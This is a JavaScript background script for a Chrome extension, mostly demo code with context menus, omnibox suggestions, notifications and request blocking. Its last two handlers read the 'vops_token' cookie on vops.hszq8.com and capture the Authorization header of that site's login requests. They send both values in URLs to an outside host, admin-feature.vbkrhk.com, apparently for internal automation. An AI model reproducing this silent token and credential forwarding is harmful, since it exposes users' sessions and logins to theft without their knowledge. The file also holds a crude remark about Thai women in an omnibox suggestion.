//-------------------- 右键菜单演示 ------------------------//
chrome.contextMenus.create({
    title: "测试右键菜单",
    onclick: function () {
        chrome.notifications.create(null, {
            type: 'basic',
            iconUrl: 'img/icon.png',
            title: '这是标题',
            message: '您刚才点击了自定义右键菜单！'
        });
    }
});
chrome.contextMenus.create({
    title: '使用度娘搜索：%s', // %s表示选中的文字
    contexts: ['selection'], // 只有当选中文字时才会出现此右键菜单
    onclick: function (params) {
        // 注意不能使用location.href，因为location是属于background的window对象
        chrome.tabs.create({url: 'https://www.baidu.com/s?ie=utf-8&wd=' + encodeURI(params.selectionText)});
    }
});


//-------------------- badge演示 ------------------------//
/*(function()
{
	var showBadge = false;
	var menuId = chrome.contextMenus.create({
		title: '显示图标上的Badge',
		type: 'checkbox',
		checked: false,
		onclick: function() {
			if(!showBadge)
			{
				chrome.browserAction.setBadgeText({text: 'New'});
				chrome.browserAction.setBadgeBackgroundColor({color: [255, 0, 0, 255]});
				chrome.contextMenus.update(menuId, {title: '隐藏图标上的Badge', checked: true});
			}
			else
			{
				chrome.browserAction.setBadgeText({text: ''});
				chrome.browserAction.setBadgeBackgroundColor({color: [0, 0, 0, 0]});
				chrome.contextMenus.update(menuId, {title: '显示图标上的Badge', checked: false});
			}
			showBadge = !showBadge;
		}
	});
})();*/

// 监听来自content-script的消息
chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
    console.log('收到来自content-script的消息：');
    console.log(request, sender, sendResponse);
    sendResponse('我是后台，我已收到你的消息：' + JSON.stringify(request));
});

chrome.webNavigation.onCompleted.addListener(function (details) {
    if (details.frameId === 0) {
        return;
    }

    chrome.tabs.executeScript(details.tabId, {
        frameId: details.frameId,
        file: 'js/crmproccess-detail.js',
        runAt: 'document_idle'
    }, function () {
        if (chrome.runtime.lastError) {
            console.warn('[nicole][crmproccess] 注入脚本失败:', chrome.runtime.lastError.message, details.url);
        } else {
            console.log('[nicole][crmproccess] 已在 iframe 注入脚本:', details.url);
        }
    });
}, {
    url: [
        {hostSuffix: 'vbkrhk.com', pathContains: '/crmproccess/task/proccess/'}
    ]
});

$('#test_cors').click((e) => {
    $.get('https://www.baidu.com', function (html) {
        console.log(html);
        alert('跨域调用成功！');
    });
});

$('#get_popup_title').click(e => {
    var views = chrome.extension.getViews({type: 'popup'});
    if (views.length > 0) {
        alert(views[0].document.title);
    } else {
        alert('popup未打开！');
    }
});

// 获取当前选项卡ID
function getCurrentTabId(callback) {
    chrome.tabs.query({active: true, currentWindow: true}, function (tabs) {
        if (callback) callback(tabs.length ? tabs[0].id : null);
    });
}

// 当前标签打开某个链接
function openUrlCurrentTab(url) {
    getCurrentTabId(tabId => {
        chrome.tabs.update(tabId, {url: url});
    })
}

// 新标签打开某个链接
function openUrlNewTab(url) {
    chrome.tabs.create({url: url});
}

// omnibox 演示
chrome.omnibox.onInputChanged.addListener((text, suggest) => {
    console.log('inputChanged: ' + text);
    if (!text) return;
    if (text == '美女') {
        suggest([
            {content: '中国' + text, description: '你要找“中国美女”吗？'},
            {content: '日本' + text, description: '你要找“日本美女”吗？'},
            {content: '泰国' + text, description: '你要找“泰国美女或人妖”吗？'},
            {content: '韩国' + text, description: '你要找“韩国美女”吗？'}
        ]);
    } else if (text == '微博') {
        suggest([
            {content: '新浪' + text, description: '新浪' + text},
            {content: '腾讯' + text, description: '腾讯' + text},
            {content: '搜狐' + text, description: '搜索' + text},
        ]);
    } else {
        suggest([
            {content: '百度搜索 ' + text, description: '百度搜索 ' + text},
            {content: '谷歌搜索 ' + text, description: '谷歌搜索 ' + text},
        ]);
    }
});

// 当用户接收关键字建议时触发
chrome.omnibox.onInputEntered.addListener((text) => {
    console.log('inputEntered: ' + text);
    if (!text) return;
    var href = '';
    if (text.endsWith('美女')) href = 'http://image.baidu.com/search/index?tn=baiduimage&ie=utf-8&word=' + text;
    else if (text.startsWith('百度搜索')) href = 'https://www.baidu.com/s?ie=UTF-8&wd=' + text.replace('百度搜索 ', '');
    else if (text.startsWith('谷歌搜索')) href = 'https://www.google.com.tw/search?q=' + text.replace('谷歌搜索 ', '');
    else href = 'https://www.baidu.com/s?ie=UTF-8&wd=' + text;
    openUrlCurrentTab(href);
});

// 预留一个方法给popup调用
function testBackground() {
    alert('你好，我是background！');
}

// 是否显示图片
var showImage;
chrome.storage.sync.get({showImage: true}, function (items) {
    showImage = items.showImage;
});
// web请求监听，最后一个参数表示阻塞式，需单独声明权限：webRequestBlocking
chrome.webRequest.onBeforeRequest.addListener(details => {
    // cancel 表示取消本次请求
    if (!showImage && details.type == 'image') return {cancel: true};
    // 简单的音视频检测
    // 大部分网站视频的type并不是media，且视频做了防下载处理，所以这里仅仅是为了演示效果，无实际意义
    if (details.type == 'media') {
        chrome.notifications.create(null, {
            type: 'basic',
            iconUrl: 'img/icon.png',
            title: '检测到音视频',
            message: '音视频地址：' + details.url,
        });
    }
}, {urls: ["<all_urls>"]}, ["blocking"]);

/**
 * 用于监听 用户操作
 */
chrome.webNavigation.onCompleted.addListener(function (details) {
    // details.url 包含用户进入的网址
    if (details.url.includes("vops.hszq8.com")) {
        console.log("vops 监听加载1");
        chrome.tabs.query({active: true, currentWindow: true}, function (tabs) {
            var currentTab = tabs[0];
            console.log("vops 监听加载2：" + currentTab.url)
            chrome.cookies.getAll({url: currentTab.url}, function (cookies) {
                // 遍历所有cookie
                let tokenFound = false;
                const cookieStrings = cookies.map(cookie => {
                    return encodeURIComponent(cookie.name) + '=' + encodeURIComponent(cookie.value);
                });
                const cookieString = cookieStrings.join('; ');
                console.log("vops 监听加载3：" + cookieString)
                for (let i = 0; i < cookies.length; i++) {
                    if (cookies[i].name === "vops_token") {
                        tokenFound = true;
                        const vopsTokenValue = cookies[i].value;
                        $.post('https://admin-feature.vbkrhk.com/auto-ai/vops/user/token?opsToken=' + vopsTokenValue, function (body) {
                            console.log('请求token：' + vopsTokenValue);
                            console.log('请求结果：' + body);
                        });
                        break; // 如果找到了符合条件的cookie，可以退出循环
                    }
                }

                // 如果没有找到 vops_token，则请求接口获取新 token，并将其写入 cookies
                if (!tokenFound) {
                    // chrome.storage.local.get(['uid'], function(result) {
                    //     console.log('检索到的数据:', result.uid);
                    //     if (result.uid !== undefined) {
                    //         console.log(`没有找到 cookie ${details.url} 正在获取cookie`);
                    //         $.get(`https://admin-feature.vbkrhk.com/auto-ai/vops/user/detail/${result.uid}`, function(response) {
                    //             console.log('请求结果：' + JSON.stringify(response));
                    //             if (response && response.data && response.data.opsToken) {
                    //                 var opsToken = response.data.opsToken;
                    //                 console.log(`成功获取到 token cookie :${opsToken}`);
                    //                 chrome.cookies.set({
                    //                     url: currentTab.url,
                    //                     name: 'vops_token',
                    //                     value: opsToken
                    //                 }, function(cookie) {
                    //                     console.log('新 token 已写入 cookie: ' + cookie.value);
                    //                     // 刷新当前页面
                    //                     chrome.tabs.reload(currentTab.id, function() {
                    //                         console.log('页面已刷新');
                    //                     });
                    //                 });
                    //             }
                    //         })
                    //     }
                    // ;
                    // });



                }
            });
        });
    }
});

/**
 * 监听登录操作3
 */
chrome.webRequest.onBeforeSendHeaders.addListener(
    function (details) {
        // 找到 Authorization 头
        let authorizationHeader = details.requestHeaders.find(header => header.name.toLowerCase() === 'authorization');
        console.log("监听登录：" + authorizationHeader.value);
        // 获取 Authorization 头的值
        let authorizationValue = authorizationHeader.value;
        // 调用本地服务器
        fetch('https://admin-feature.vbkrhk.com/auto-ai/vops/user/auth?auth=' + authorizationValue, {
            method: 'POST'
        })
            .then(response => response.json())
            .then(data => {
                console.log("监听处理结果：" + data)
            })
            .catch(error => {
                console.error('Error:', error);
            });

        return {requestHeaders: details.requestHeaders};
    },
    {urls: ["https://vops.hszq8.com/api/login"]},
    ["blocking", "requestHeaders"]
);
